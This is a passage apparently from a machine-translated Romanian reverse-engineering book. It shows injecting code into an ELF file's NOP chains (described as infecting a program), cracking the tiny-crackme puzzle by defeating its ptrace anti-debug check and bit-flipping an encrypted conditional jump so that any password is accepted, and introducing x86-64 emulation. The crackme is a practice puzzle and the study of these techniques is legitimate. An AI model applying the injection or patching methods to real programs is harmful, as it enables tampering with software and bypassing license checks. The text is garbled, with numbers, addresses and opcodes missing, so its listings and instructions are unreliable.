comenzi și revenim? Dar mai întâi trebuie să pregătim codul pe care îl vom implementa Pentru simplitate, vom afișa un scurt salut pe ecran În limbajul de asamblare, sună ceva ca Lista , Listing I Initial Mov eax, Mov ebx, ] Mov ex, offset beqin msg Mov edx, offset end msg Int h Pop esi Xor ebx,ebp Jmp C h afișând un salut pe ecran, apelul de sistem de caractere scrieți identificatorul de ieșire standard al indicatorului indicatorul mesajului de ieșire la ultimul simbol al mesajului afișat afișarea comenzilor salvate revine la program Aceasta nu este cea mai bună opțiune și poate fi mult optimizată dacă este rescrisă așa cum se arată în Lista - Lista O versiune optimizată a programului prezentată în Lista Hog eh, eh Addal Xor ebx, ebx Inc ebx mov ecx, offset begin msg Mov edx, ecx Adăugați edx, sizeof(msg) Int h Pop esi Xor ebp, ebp Jmp C h Acum, derulând fișierul în editorul exe, găsim și notăm adresele de pornire ale tuturor lanțurilor de comenzi nop potrivite pentru injectare Și ce lanțuri sunt potrivite pentru implementare? Dacă două lanțuri adiacente sunt situate la îndemâna unui salt scurt (aproximativ într-o sută de octeți), atunci trei comenzi nop vor fi suficiente ( octeți per comandă de salt, unul pentru orice comandă de un octet de cod util, de exemplu, inc ebx sau pop esi) În caz contrar, trebuie să avem un lanț de cel puțin șase instrucțiuni NOP - cinci per instrucțiune de aproape salt și una pentru instrucțiune utilă Pentru acest exemplu, lista adreselor de pornire pentru lanțurile de instrucțiuni nop încorporabile arată ca Lista Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD ' Lista Lista adreselor de pornire ale lanțurilor de instrucțiuni NOP potrivite pentru încorporarea i și lungimea lor ' ' h octeți a h octeți h octeți În total, obținem de octeți potriviți pentru implementare Pentru programul nostru demo, acest lucru este mai mult decât suficient Începem să completăm lanțurile de instrucțiuni nop cu cod util La prima încercare, obținem rezultatul afișat în Lista c oh eh, eh add al, a e jmp a h f de cand În acest caz, o ultimă instrucțiune nop s-a dovedit a fi nefolosită, dar nu funcționează în alt mod Comanda xor evx, evx ocupă doi octeți și, prin urmare, nu se potrivește aici Și dacă rearanjam comenzile pe alocuri? Mutați add al, la următorul șir nop și înlocuiți-l cu XOR EBX, EBX/INC EBX (LISTING ) h' , ѵ >• , •; ' l ЗІсО db а b e hog hog PS jmp eax, eax ebx, ebx ebx a h În acest caz, următorul lanț poate fi completat așa cum se arată în Lista Lista Versiune preliminară de completare a celui de-al doilea lanț de instrucțiuni NOP а add al, a b ?? ?? ?? ?? mov ecx, offset begin msg a ca mov edx, ecx ab e b jmp h În al treilea, ultimul, lanț de instrucțiuni nop, restul codului nu se mai potrivește, nu este suficient un singur octet! Ei bine, să încercăm să ne micșorăm puțin codul De exemplu, în loc de o pereche de instrucțiuni mov edx,ecx/add edx, sizeof (msg), care au octeți, puteți folosi lea edx, [ecx+sizeof (msg) ] Atunci totul se potrivește! Ei bine, mesajul în sine poate fi plasat în segmentul de date Deoarece nu există mult spațiu liber acolo, ne vom limita la șirul salut Zero final la sfârșit este opțional, deoarece apelul de sistem de scriere scoate exact atâtea caractere câte este ordonat să scoată și nu acordă atenție niciunei secvențe de control Dacă totul a fost făcut corect (ceea ce este puțin probabil, deoarece toată lumea greșește prima dată), fișierul nostru va scoate triumfător linia salut, urmată de linia pe care programul în studiu însuși o scoate Astfel, ecranul va arăta ca în fig (linia salut, care este afișată de codul injectat, este încercuită cu un oval pentru claritate) Am considerat cel mai simplu caz și ne-am jucat cu el de ceva timp Cât timp va dura pentru a infecta un program cu drepturi depline? Pentru restul vietii tale? Desigur că nu! Multă vreme este doar din obișnuință, apoi se dezvoltă o abilitate și totul merge pe pilot automat! Principalul lucru este să nu-ți fie frică de dificultăți și să te antrenezi constant, perfecționându-ți abilitățile! Partea a IV-a Tehnici avansate de dezasamblare Orez Rezultatul programului după implementare Caracteristici de dezasamblare sub Linux pe exemplul lui tiny-crackme Dezasamblarea sub Linux are propriile sale specificități și propriile sale subtilități, neacoperite în literatura disponibilă și rămânând sub puterea întunericului Între timp, dezvoltatorii de mecanisme de apărare nu dorm, iar produsele lor devin din ce în ce mai puternice pe zi ce trece Pentru a câștiga această bătălie, este necesar nu numai să stăpânești dezasamblatorul, ci și să dobândești abilitățile de a lucra eficient cu acesta Principala caracteristică a dezasamblarii sub Linux este absența aproape completă a dezasamblatoarelor demne (cu excepția IDA Pro, desigur) și a altor instrumente Prin urmare, chiar și o simplă apărare derutează un hacker începător În realitate, nu este nimic super-complicat și copleșitor aici, trebuie doar să stăpânești metode eficiente de dezasamblare sub Linux Această secțiune va demonstra dezasamblarea eficientă a Linux folosind micul crackme puzzle al lui Yanisto, care poate fi descărcat gratuit de pe excelentul site german http://www crackmes de/users/yanisto/tiny crackme/ Acest site conține o întreagă colecție de puzzle-uri și puzzle-uri pentru hackeri de diferite niveluri de dificultate, iar altele noi apar în mod constant cu informații scurte despre ele În special, exemplul nostru de descriere arată ca Lista - Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD I Listing yyyy^^^djsani^geloaolkiuapizIO'z crackme minuscul de pe site *^ ^t g/ti Zi > A ? l*'r'g***" Y* Tnp rWWW>cra + , iar în caseta de dialog care apare (Fig ), introducem scriptul prezentat în Listarea ■ Y^L^omatic ^acceptând criptarea auto a, x; // declar variabile (tip auto) pentru (a = x B; a + îl va executa și decripta tot codul Apropo, dezvoltatorul acestui puzzle a făcut o eroare necritică și a decriptat cu doi octeți mai mult decât se aștepta, drept urmare a distrus începutul decriptorului (lista ) În acest caz, totuși, acest lucru nu este semnificativ, deoarece până în acel moment începutul decriptorului va funcționa deja ca prima etapă a unei rachete și nu va interfera cu execuția normală a programului I Lista Procedura de decriptare autoalimentată ÎNCĂRCARE: F sub F ÎNCĂRCARE: F jirp ÎNCĂRCARE: F in proc aproape langa ptr Elh al, dx ; COD XREF: start:loc „ rp ; echipa abandonata ; echipa abandonata Acum că tot codul a fost descifrat, putem continua să-l analizăm Revenim la locul unde procedura de decriptare se numea call sub F , situat la h Vedem prostii complete (lista ) Lista Cum arată dezasamblatorul după despachetare LOAD: apel ÎNCĂRCARE: B mov ÎNCĂRCARE: C E sahf ÎNCĂRCARE: E și LOAD: F add sub F eax, Eh [eax], al [ebx+ F hj, bh ; procedura de decriptare ; trimite numarul Eh in ex ; \ ; + - gunoi fără sens Codul pare o prostie totală Ce altceva mai este sahf, și și adăugați? Dar asta e mai mult! Aruncând o privire mai atentă (Opțiuni | Reprezentare text | Număr de octeți opcode | ), aflăm că instrucțiunile mele eax, Eh corespund codului B h de un octet (cel puțin, ne asigură IDA Pro de acest lucru), ceea ce nu poate fi! De fapt, aceasta este doar o ciudățenie a dezasamblatorului IDA Pro, care nu a actualizat lista de dezasamblare după decriptare Ajustăm cursorul la linia Bh și apăsăm pentru a-l converti în formă nedefinită (nedefinită) Același lucru trebuie făcut cu matricea de octeți care începe cu șirul h (vezi Lista - ) Dar asta nu este tot! Într-adevăr, după decriptare, această matrice a devenit parte a procedurii noastre, iar dezasamblatorul a terminat din greșeală funcția la adresa h, inserând acolo instrucțiunea endp (sfârșitul procedurii) Pentru a restabili starea de fapt, trebuie să așezați cursorul la sfârșitul matricei și să apăsați tasta (Edit | Functions | Set Function End) După aceea, puteți reveni la începutul liniei Bh și apăsați pentru a transforma octeții nedefiniți în COD Programul dezasamblat rezultat va arăta ca Lista Listare Lista dezasamblată după ce a fost decodificată de script (vezi Lista ) ÎNCĂRCARE: В ÎNCĂRCARE: В ÎNCĂRCARE: ÎNCĂRCARE: ÎNCĂRCARE: ÎNCĂRCARE: E ÎNCĂRCARE: ÎNCĂRCARE: ÎNCĂRCARE: D ÎNCĂRCARE: ÎNCĂRCARE: ÎNCĂRCARE: IOS B: ; DATE XREF: Sub F +lo mov eax, Eh ; începutul unui nou bloc de criptare mov ebx, F h ; lungimea blocului cifrat în octeți shr ebx, ; converti octeții în cuvinte duble mov edx, dword ; constantă „magică” OBEEFCODAh apel oc BC ; apelați lauer- decryptor mov ex, offset unk E mov edx, F h sunați loc A mov eax, IAh xor ecx, ecx mov esi, ecx ; pointer către un șir ASCII ; lungimea șirului ; afișarea unui șir pe ecran ; \ ; + anti-depanare bazat pe ; + ptrace nereintre Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD VI ! ІВНIii!ifffffІВВІ!!II| : B : int h , / LINUX - sys ptrace : sub ebx , eax return code analysis : test eax , test eax pentru depanator : JZ scurt IOS— -> nu a fost găsit niciun depanator : mov ecx , offset aSorryButThePro : D mov dl, h depanator detectat : F call loc A ieşire mesaj blestem : jnp loc -> iesire program : : ISO- ; COD XREF: start+ Ej : jmp scurt IOC— C; sari la os C = : B db OBOh ; junk byte : C : C loc C ; COD XREF: start:loc j : C push ebx ; salva ebx dupa ptrace : D mov ecx,offset ; pointer către buffer de octeți dword : A mov edx, ; câte caractere să numere : A apel loc AA ; numără de la tastatură caractere : AC apel IOC— C ; verificarea parolei + CRC : В xor ebx, dword ; analiza rezultatelor testelor : B jz scurt IOC— CC ; -> parola și CRC sunt valide : B : B IOC- B ; COD XREF: start+C j : B mov ecx, offset aWrongPasswordS ; : BE mov dl, IDh ; parola sau CRC este incorectă : C apel loc A ; înjurând pe ecran : C jmp IOC— C ; -> terminarea programului - С : CA db h ; G ; gunoi : CB db h ; ; gunoi : SS : CC loc CC ; COD XREF: start+AFj : CC POP ebx ; popping ebx dupa ptrace : CD test ebx, ebx ; dacă depanatorul a fost detectat anterior : CF jnz scurt loc B ; -> depanatorul a fost detectat anterior : Dl mov ecx, offset aSuccessCongrat ; : D mov edx, h ; toate verificările au trecut toate ok : DB apel IOC- A ; afișați felicitări pe ecran : E jnp IOS— C ; -> finalizarea victorioasă a programului : E : E aWrongPasswordS db OAh ; DATE XREF: start:loc B o : E db „Parolă greșită, îmi pare rău : E db Ah, : aSorryButThePro db „Ne pare rău, dar procesul pare să fie urmărit ”, OAh, : ; DATE XREF: start+ o : aSuccessCongrat db '-> Succes " Felicitări ',OAh : ; DATE XREF: start+C o LOAD: db ' -> Îmi puteți trimite soluția/comentariile anului la mai sus LOAD: db ' addr ,OAh, ÎNCĂRCARE: C E ; • unk E db OFAh ; DATE XREF-start+ Bo Cu totul alta chestiune! În cele din urmă, am primit un cod care poate fi citit, la sfârșitul căruia vizualizarea- Șirurile de text sunt Parolă greșită, scuze și Succes Felicitări cu cruce- Partea a IV-a Tehnici avansate de dezasamblare link-uri directe de lângă ele Referințele încrucișate sunt arme puternice anti-apărare care merg direct în inima mecanismului de apărare În special, puteți face trimiteri încrucișate la linia loc- B pentru a vedea ce cod imprimă un mesaj de parolă proastă Sufixul o de la sfârșit înseamnă decalaj, adică decalaj Aceasta indică faptul că șirul dat este adresat prin offset-ul său, ceea ce înseamnă că avem de-a face cu un pointer De fapt, nu există și nu poate exista nimic interesant în vecinătatea liniei B h Acest cod afișează pur și simplu mesajul de parolă greșit S-a făcut deja dreptate! Codul care efectuează verificarea parolei se află într-un loc complet diferit In care? Vedem că lângă linia B h există o altă referință încrucișată care duce la eticheta start+C j Sufixul e înseamnă rjump, adică un salt E mai interesant! Poate că aici se află tranziția condiționată foarte prețuită, care decide dacă parola introdusă este corectă sau nu Mutați cursorul la referința încrucișată și apăsați tasta IDA Pro ne duce automat la locul potrivit pentru a linia CFh Ei bine, totul este destul de logic, funcția de pornire este situată la h și h + C h = ooocFh (lista ) Lista Vecinătatea codului la care ne-a condus lanțul de referințe încrucișate LOAD: CC pop ebx ; COD XREF: start:loc îj LOAD: CD test ebx, ebx ; verificând ebx pentru zero LOAD: CF jnz short loc B ; -> sari daca ebx este diferit de zero LOAD: D mov ecx,offset aSuccssCngrt ; ramura "parola corecta" La această adresă, există într-adevăr o ramură condiționată care compară conținutul registrului evx cu zero, iar dacă nu este egal cu zero, are loc o tranziție către o subrutină care afișează mesajul de parolă greșit pe ecran În caz contrar, ramura care tipărește mesajul Succes felicitări preia controlul, felicitându-te pentru succesul tău Dacă încercăm să înlocuim jnz cu jz? Atunci logica programului va fi complet inversată Parola corectă (pe care încă nu o știm) va fi percepută ca incorectă, iar parolele incorecte vor fi acceptate favorabil Întreaga problemă este că programul este criptat, așa că înainte de a corela octeții, acesta trebuie decriptat În principiu, acest lucru se poate face cu IDA Pro, dar va fi mai ușor să utilizați HIEW comercial sau editorul gratuit HTE, care poate fi descărcat de pe http://www sourceforge net/projects/hte Să optăm pentru acesta din urmă, deși, spre deosebire de HIEW, nu poate edita fișiere ELF cu antet distorsionat în modul imagine Aceasta înseamnă că trebuie să calculăm singuri toate adresele virtuale, dar nu trebuie să plătim Încărcăm fișierul în editor ($ /hte tiny-crackme), apăsăm (mod) sau bara de spațiu, în caseta de dialog care apare, selectăm opțiunea elf / antet program (vezi antetul programului care descrie segmentele ) și vedeți segmentul cu o singură intrare o(încărcare) Apăsăm pentru a-i vizualiza atributele și vedem că începe de la adresa virtuală h, aflată în fișierul la offset Oh (Fig ) Prin urmare, adresa virtuală CFh (unde se află ramura noastră condiționată nefericita) corespunde decalajului axei Mergem aici ( , CFh, ) și vedem că octetul h este localizat aici Acum trebuie să-l decriptăm, să-l reparăm și să-l criptăm din nou Cum să o facă? De fapt, există multe moduri și toate sunt corecte Cel mai simplu este să aplici xor La urma urmei, știm cheia de criptare - F Fih Dar iată întrebarea - ce parte a cheii este suprapusă pe acest octet, cu alte cuvinte - trebuie să-ți dai seama pe care dintre cei patru octeți să criptezi? Acest lucru este ușor de înțeles matematic Începutul blocului de cifrare este situat la Bh, nu? Apoi octetul nostru se potrivește cu numărul octetului cheie ( CFh - Bh % ) Pentru a calcula valoarea acestei expresii în NTE, este suficient să selectați comanda Editare | Evaluați și introduceți-l în calculator Obțineți zero Deci octetul CFh este criptat cu primul octet al cheii Pe platforma x , este situat la o adresă inferioară, adică în cifrele inferioare ale numărului, Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD și în acest caz este egal cu Flh Fără a părăsi calculatorul, introducem expresia h L Flh și obținem h, care corespunde exact codului operațional al instrucțiunii jnz După cum reiese din manualul Intel, instrucțiunea jz, la rândul său, corespunde codului operațional de de ore Introducem în calculator expresia h ~ Flh și obținem h Aceasta va fi valoarea criptată a codului operațional jz Apăsăm pentru a activa modul de editare, scriem valoarea h în locul h și apăsăm pentru a salva modificările pe disc După cum puteți vedea, doar un bit s-a schimbat după hack, iar acest bit s-a dovedit a fi cel mai puțin semnificativ bit al numărului: h ( ) -» h ( ) Acest lucru se datorează faptului că codurile operaționale în sine h ( ) și h ( ) diferă doar în bitul cel mai puțin semnificativ, iar xor este o operație pe biți! Orez Vizualizarea atributelor unui singur segment Notă Cu alte cuvinte, dacă criptarea se face prin suprapunerea xor, atunci pentru a transforma jz în jnz (sau invers), indiferent de cheia de criptare, este suficient să inversezi bitul cel mai puțin semnificativ al textului cifrat! Și nu trebuie să te încurci cu toate acele calcule! Luați notă de acest truc Încă vom avea nevoie Ieșim din editor și cu răsuflarea tăiată lansăm timy-crackme Vai! Nu va porni! Adică pornește, desigur, dar refuză să accepte parola De ce? Ne întoarcem la linia CFh (cea în care am fixat ramura condiționată) și derulăm în sus ecranul dezasamblatorului până când întâlnim următoarea referință încrucișată start+AFj care duce la linia ACh Să vedem ce avem acolo (lista ) Partea a IV-a Tehnici avansate de dezasamblare I Lista capcană anti-hacker în tiny-crackme ÎNCĂRCARE: AC ÎNCĂRCARE: B ÎNCĂRCARE: B ÎNCĂRCARE: B apel loc C ebx, dword scurt loc CC ; verificarea parolei și propriul CRC ; analiza rezultatelor ÎNCĂRCARE: В ÎNCĂRCARE: В loc B : ; COD XREF: start+C |j mov ecx,offset aWrongPasswordS;"\n Parolă greșită, scuze " Capcană anti-hacker detectată! Încă o verificare și încă un salt condiționat, situat la B b După cum puteți vedea, analizează valoarea returnată de funcția oc C , comparând-o CU CUVÂNTUL DUBLUI dword , iar dacă oc C () z'dword ! = , atunci ramura condiționată nu este executată, iar controlul este primit de o subrutină care afișează un mesaj de eroare pe ecran Ce face funcția os C ? Aparent, el este angajat în verificarea integrității codului (pe care ne-a promis creatorul puzzle-ului) Pentru a dezactiva această verificare, trebuie să înlocuim jz cu jnz inversând bitul cel mai puțin semnificativ al octetului situat la adresa B h Scăzând adresa virtuală de bază a segmentului, obținem offset-ul fizic la care se află acest octet în fișierul ELF (în cazul nostru este egal cu B h) Prin această amestecare este octetul h Inversăm bitul cel mai puțin semnificativ, transformându-l în I (Fig ), salvăm modificările, ieșim din NTE, rulăm timy-crackme Ce?! Nu va începe din nou! Asta înseamnă să piratezi orbește Orez Editarea de la capăt la capăt a codului criptat în NTE fără a-l decripta Ce se poate face aici? Să ne întoarcem la prima noastră ramură condiționată, CFh (lista - ) și să încercăm să analizăm pentru ce verifică Vedem că un cuvânt dublu este scos din partea de sus a stivei și verificat pentru zero Și cum a ajuns acolo? Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD Urmărim referința încrucișată în sus și vedem că în linia Ch, conținutul registrului eux este aruncat în partea de sus a stivei (Listing ) ÎNCĂRCARE: С os С: ; COD XREF: start:loc îj ; salvați ebx pe stivă Și cu ce este egal evx în sine? Răspunsul este oferit de o altă referință încrucișată care ne conduce la codul afișat în Lista - LOAD: В mov edx, ÎNCĂRCARE: int h ÎNCĂRCARE: sub ebx, eax LOAD: test eax, eax ÎNCĂRCARE: jz scurt loc ; Linux - sys ptrace ; analiza valorii returnate; depanator găsit? ; -> fara depanator, totul este curat Aici este! Apelul de sistem sys ptrace! Se pare că ramura noastră condiționată din linia CFh nu a verificat deloc parola, dar prezența unui depanator (un program care este deja depanat nu poate apela ptrace ) Dar nu este așa Mai precis, deloc De îndată ce depanatorul întâlnește ramura condiționată h, mesajul dezamăgitor Ne pare rău, dar procesul pare a fi urmărit este afișat pe ecran și pur și simplu nu ajunge la ramura condițională „noastră” CFh! Orez Hack finalizat Cele de mai sus, desigur, se aplică numai acelor depanatoare care funcționează prin ptrace Piese / și tehnici avansate de dezasamblare De fapt, creatorul puzzle-ului a folosit un truc destul de inteligent Ramura condiționată CFh nu controlează dacă parola este corectă sau dacă depanatorul este prezent E doar acolo ca o momeală Capcana mea Astfel, pentru a sparge programul, este necesar să se schimbe doar o ramură condiționată la adresa B h Tranziția condiționată CFh nu trebuie atinsă! Deoarece l-am atins deja, trebuie să resetam totul prin înlocuirea h piratată cu h Salvați modificările cu , părăsiți editorul hex și rulați din nou programul Va funcționa de data asta? Da! Acest lucru funcționează (Figura ) Acum programul acceptă orice parole introduse ca fiind corecte, afișând inscripția victorioasă Succes Felicitări pe ecran Concluzie Așa că nu am spart cel mai ușor crackme sub Linux, demonstrând tehnica de bază de hacking Desigur, acesta este un hack murdar, cunoscut și sub numele de bit-hack (bit-hack), și nu există absolut nimic de care să fii mândru Hackerii mai atenți analizează algoritmul de verificare a parolei și scriu un generator de chei (keygen) care generează parole / numere de serie adecvate Aceasta este o operațiune mult mai complexă Cu toate acestea, iată câteva soluții gata făcute cu care hackerii începători ar trebui să se familiarizeze Aici sunt ei: □ http://www crackmes de/users/yanisto/tiny crackme/solutioiis/tiocsti □ http://www crackmes de/users/yanisto/tiny crackme/soiutioiis/krio Apropo, iată câteva parole potrivite: bOOm, v Do, f k În teorie, după hacking, programul ar trebui să le perceapă ca fiind incorecte (la urma urmei, am inversat tranziția condiționată) Cu toate acestea, ea îi susține destul de mult Acesta este puzzle-ul! Dar, de fapt, totul este simplu Creatorul crackme a combinat controlul integrității codului cu verificarea corectitudinii parolei într-o singură tranziție Deoarece integritatea codului a fost ruptă după hack, saltul condiționat invers se declanșează întotdeauna, indiferent de ce parolă a fost introdusă În general vorbind, tiny-crackme conține destul de multe secrete Distrați-vă mult Capitolul Arhitectura x - sub bisturiul asamblatorului Era pe de biți se estompează în trecut, cedând atacului de idei și platforme noi Ambii lideri de piață (Intel și AMD) au introdus arhitecturi pe de biți, deschizând ușa către lumea procesoarelor de mare viteză și de înaltă performanță Aceasta este o adevărată descoperire - registre noi, moduri noi de operare Să încercăm să ne dăm seama? Acest capitol discută arhitectura AMD (aka x - ) și oferă exemple de dezasamblare practică a programelor scrise pentru această arhitectură Introducere Sigla arhitecturii pe de biți pare tentant, dar în termeni practici, acesta este doar un truc viclean de marketing care ascunde nu numai avantaje, ci și dezavantaje Ni s-au acordat operanzi pe de biți și adresare pe de biți S-ar părea că descărcările suplimentare nu trag de buzunar Chiar dacă nu sunt utile, atunci, cel puțin, nu vor interfera Dar nu este deloc așa! Odată cu creșterea adâncimii de biți, crește și lungimea instrucțiunilor mașinii și, prin urmare, timpul de încărcare / decodare a acestora, precum și dimensiunea programului Prin urmare, pentru a obține aceeași performanță, un procesor pe de biți trebuie să aibă o memorie mai rapidă și un cache mai mare Acesta este primul În al doilea rând, operanzii întregi pe de biți devin utilizabili numai atunci când procesează numere de ordin + ( ) și mai mari Acolo unde un procesor pe de biți necesită mai multe cicluri, unul pe de biți o poate face într-unul singur Dar, pe de altă parte, unde ați văzut astfel de numere în aplicațiile de acasă și de birou? Nu degeaba inginerii de la Intel au decis să reducă adâncimea de biți a ALU (unitatea logică aritmetică), a cărei „lățime” în Pentium- este de doar biți, față de de biți în Pentium-III Acest lucru nu înseamnă că Pentium- nu poate gestiona numerele pe de biți Pot fi Numai că petrece mai mult timp pe ele decât GPU-ul Pentium Dar, deoarece procentul numerelor cu adevărat pe de biți (adică cele care folosesc mai mult de biți) în aplicațiile de acasă este relativ scăzut, performanța scade ușor Pe de altă parte, miezul conține mai puțini tranzistori, emite mai puțină energie termică și funcționează mai bine la o frecvență de ceas mai mare, adică, în general, se observă un efect pozitiv Adâncime de biți de biți Ai milă! Adresarea a de octeți de memorie nu este necesară nici măcar pentru Microsoft, împreună cu toate shell-urile grafice! Din cei GB de spațiu de adrese, Windows Processional și Windows Server alocă doar GB aplicațiilor GB sunt alocați doar de Windows Advanced Server, și nu pentru că este imposibil să alocați mai mult! Procesoarele x abordează cu ușurință până la GB ( GB fiecare pentru cod, date, stivă și heap) în timp ce necesită reconstrucții minime ale sistemului de operare! De ce nu s-a făcut asta încă? De ce mai folosim „pateticii” GB, dintre care doar doi sunt efectiv disponibili?! Da, pentru că nimeni altcineva nu are nevoie de el! Nu poți vinde pur și simplu un sistem care se adresează la GB, cui îi pasă de acești gigaocteți? Iată sigla „ de biți” - o chestiune complet diferită! Este inspirat! Toată lumea din jurul lor dansează Partea a IV-a Tehnici avansate de dezasamblare Compararea procesoarelor pe de biți și pe de biți este inutilă! Dacă un procesor pe de biți se dovedește a fi mai rapid într-o aplicație „acasă”, nu se datorează în niciun caz naturii sale pe de biți, ci din cauza unor trucuri constructive care sunt complet independente de el! Totuși, să nu vorbim despre lucruri triste Arhitecturile pe de biți vor intra în continuare în viața noastră Pentru unele sarcini, acestea sunt pur și simplu de neînlocuit Luați criptografia de exemplu de biți înseamnă octeți! Pe o astfel de arhitectură, parolele de caractere se pot încadra în întregime într-un singur registru fără a avea acces la memorie, ceea ce oferă un rezultat incredibil! Viteza de enumerare crește aproape cu un ordin de mărime! Instrumente necesare Pentru programarea în modul , este de dorit să aveți un computer cu un procesor AMD Athlon FX sau Opteron, dar, în cel mai rău caz, vă puteți descurca cu un emulator Nu există mulți emulatori pentru platforma x - și toate sunt departe de a fi perfecte Cu toate acestea, ei vor fi suficient pentru a face cunoștință cu AMD și apoi va lăsa pe fiecare să decidă singur dacă are nevoie de o arhitectură pe de biți sau nu Emulatorul gratuit Bochs distribuit în cod sursă este foarte popular Suportul pentru arhitectura x - a apărut pentru prima dată în versiunea -pe și a fost ulterior inclus în versiunea ca o caracteristică experimentală Pe site-ul oficial (http://bochs sourceforge net/) găsiți mai multe ansambluri binare gata făcute pentru diferite platforme, dar doar pentru arhitectura x Reacția unei versiuni de Linux pe de biți atunci când încercați să o rulați sub o versiune standard Bochs este prezentată în Figura Emularea x - necesită recompilare obligatorie sub UNIX Descărcați sursele (http://prdownloads sourceforge net/bochs/bochs- tar gz?download), despachetați arhiva, rulați configuratorul cu cheia enable-x - și apoi lansați următoarea comandă (Listing ) Orez Reacția versiunii pe de biți a Linux la o încercare de a rula sub ansamblul standard al lui Bochs O prezentare generală a emulatorilor populari este dată în Capitolul , „Emularea depanatoarelor și emulatoarelor” O serie de sfaturi și trucuri utile pentru compilarea manuală a codurilor sursă sunt date în sec „Potențialul ascuns al construcțiilor manuale” în Capitolul , „Instrumente de hacking pentru UNIX și Linux” Capitolul Lista * Construirea Bochs cu suport pentru emulare x - $ /configure enable-x - $make Se formează fișierul executabil Bochs, necesitând BIOS-ul și scriptul bxrc pentru funcționarea sa, care poate fi împrumutat din ansamblul binar terminat Pentru a compila pentru platforma Windows, rulați scriptul conf win -vcpp și apoi executați comanda make win snap (Listing ) Pentru a face acest lucru, desigur, trebuie să aveți Linux, deoarece Windows nu poate funcționa corect cu scripturile shell Desigur, puteți folosi pachetul Cygwin (http://www cygwin com/), dar construirea cu el nu vă va scuti de probleme Lista Ansamblu BOCHS pentru compilarea JMicrosoft Visual C++ j sh conf win -vcpp face win snap Construirea cu compilatorul Microsoft Visual C++ nu merge foarte bine (mai precis, nu funcționează deloc), și trebuie să remediați numeroase greșeli făcute de dezvoltatorii emulatorului, ceea ce necesită timp și pricepere Dacă doriți să mergeți pe calea celei mai puțin rezistente, căutați online versiuni gata făcute de Bochs care acceptă arhitectura pe de biți Unul dintre ele este disponibil pentru descărcare aici: http://www psyon org/bochs-win /bochs-x - - exe Cu toate acestea, Bochs nu își face treaba în cel mai bun mod Multe clone Linux pe de biți „se prăbușesc” în faza de pornire a nucleului Vă puteți răsfăța în continuare în modul x - sub Bochs (Fig ), dar nu este potrivit pentru munca constantă și sistematică Cu toate acestea, în versiunile viitoare, erorile de emulare vor fi cel mai probabil remediate, iar apoi singurul dezavantaj va fi viteza scăzută În orice caz, proprietarii de procesoare cu putere redusă vor trebui oricum să caute altceva QEMU este un emulator dinamic gratuit bazat pe Bochs Arhitectura x - este emulată pe Pentium-III cu o viteză mai mică decât x în versiunea comercială a VMwaie (Fig ) Stabilitatea lucrării este, de asemenea, dincolo de laudă Site-ul oficial (http://fabrice bellard free fr/qemu/) conține coduri sursă și versiuni gata făcute pentru Linux Proprietarii de Windows trebuie să compileze singuri sau să caute pradă pe net O adunare executată cu conștiință se află pe un server japonez bun http://www h dion ne jp/~qemu-wiii/ Acolo puteți găsi și un driver de accelerație care accelerează emularea de mai multe ori Apropo, pe lângă x - , QEMU emulează x , SPARC, PowerPC și alte câteva arhitecturi În plus, QEMU este singurul emulator în care rețeaua virtuală se ridică fără probleme și nu înfundă sistemul de operare principal cu adaptoare virtuale În sfârșit, pe lângă emulatori, avem nevoie și de un sistem de operare pe de biți Accesul la registrele pe de biți și la alte caracteristici promițătoare ale arhitecturii x - este posibil doar dintr-un mod special de de biți cunoscut sub numele de „mod lung” (mod lung) Nu sunt disponibile în modul x securizat real sau pe de biți Deși acest capitol vă va arăta cum să convertiți procesorul din modul real în modul pe de biți, crearea unui sistem de operare complet funcțional nu este în planurile noastre! Cea mai ușoară cale, desigur, este să luați Windows XP Ediția pe de biți, dar nu toți hackerii au această cale Linux este mult mai potrivit pentru acest scop Majoritatea producătorilor fie au lansat deja versiuni x - , fie plănuiesc să facă acest lucru în viitorul apropiat Adepții de calitate tradițională germană pot recomanda SuSE LiveCD , care nu necesită instalare (http://suse osuosl Org/suse/x /live-cd- /SUSE-Linux- -LiveCD- bit iso) Debian este, de asemenea, o alegere bună, un port neoficial de businesscard-CD al cărui port este disponibil la http://cdimage debian org/cdimage/uiioffidal/sarge-amd /iso-cd/debian- r a-amd -businesscard iso Alte porturi pot fi găsite și acolo Partea a IV-a Tehnici avansate de dezasamblare Orez Un ansamblu special de BOCHS trece cu succes la modul x - , simțindu-se încrezător sub o mașină virtuală VMware (adică, de fapt, se dovedește deja a fi o dublă emulare) Orez Descărcarea unei distribuții Linux Debian pe de biți sub un emulator QEML) Capitolul Arhitectura x - sub bisturiul asamblatorului Ne întoarcem acum la pregătirea instrumentelor de cercetare Cel puțin, avem nevoie de un asamblator și un depanator Vom folosi FASM (http://flatassembler net/) Este gratuit, rulează sub Linux/Windows/MS-DOS, acceptă arhitectura x - , are o sintaxă convenabilă etc Fanii MASM pot descărca gratuit Windows Server SP Platform SDK (http://www microsoftcom/downloads/) detalii aspx?FamilyId=A B B -E F- EA -A E- C EC F E ), care include MASM pe de biți Sintactic, ambele asamblatoare sunt incompatibile, așa că se recomandă să faceți imediat o alegere în favoarea unuia dintre ei Aproape toate porturile x - ale Linux includ GNU Debugger, care este suficient pentru sarcinile noastre Utilizatorii Windows pot folosi Microsoft Debugger inclus cu instrumentele gratuite de depanare Microsoft (http://www microsoft com/whdc/devtools/debugging/instalamdbeta mspx) Privire de ansamblu asupra arhitecturii x - Pentru o descriere detaliată a arhitecturii x - , este mai bine să consultați documentația proprietară „AMD Technology - AMD Architecture Programmer’s Manual Volume :Application Programming” (http://www amd com/us-en/assets) /content type/wliitej»apers and tech docs^ pdf) - Ne vom limita doar la o trecere în revistă a principalelor inovații În cele din urmă, AMD a avut milă de noi și a oferit programatorilor ceea ce toată lumea a așteptat de atâta timp Alte opt registre au fost adăugate celor șapte registre de uz general (opt - inclusiv esp), în urma cărora numărul lor total a ajuns la (Fig ) Registrele generale MMX pe de biți și registre de date flotante Registre XMM pe de biți Registrele de programare a aplicațiilor includ, de asemenea, un registru de stare și control media de de biți (MXCSR) și registre de cuvânt etichetă, cuvânt de control și cuvânt de stare pentru instrucțiuni О Registrele x vechi sunt acceptate în toate modurile b&y d Înregistrați extensii, [ȘQ/ZI suportat în moduri pe de biți Orez Registre disponibile în modul X - Vechile registre extinse la de biți au fost denumite rax, rbx, rcx, rdx, rbp, rsi, rdi, rsp, rip și rflags Noile registre rămân fără nume și sunt pur și simplu numerotate de la R la R Cei , și de biți ai noilor 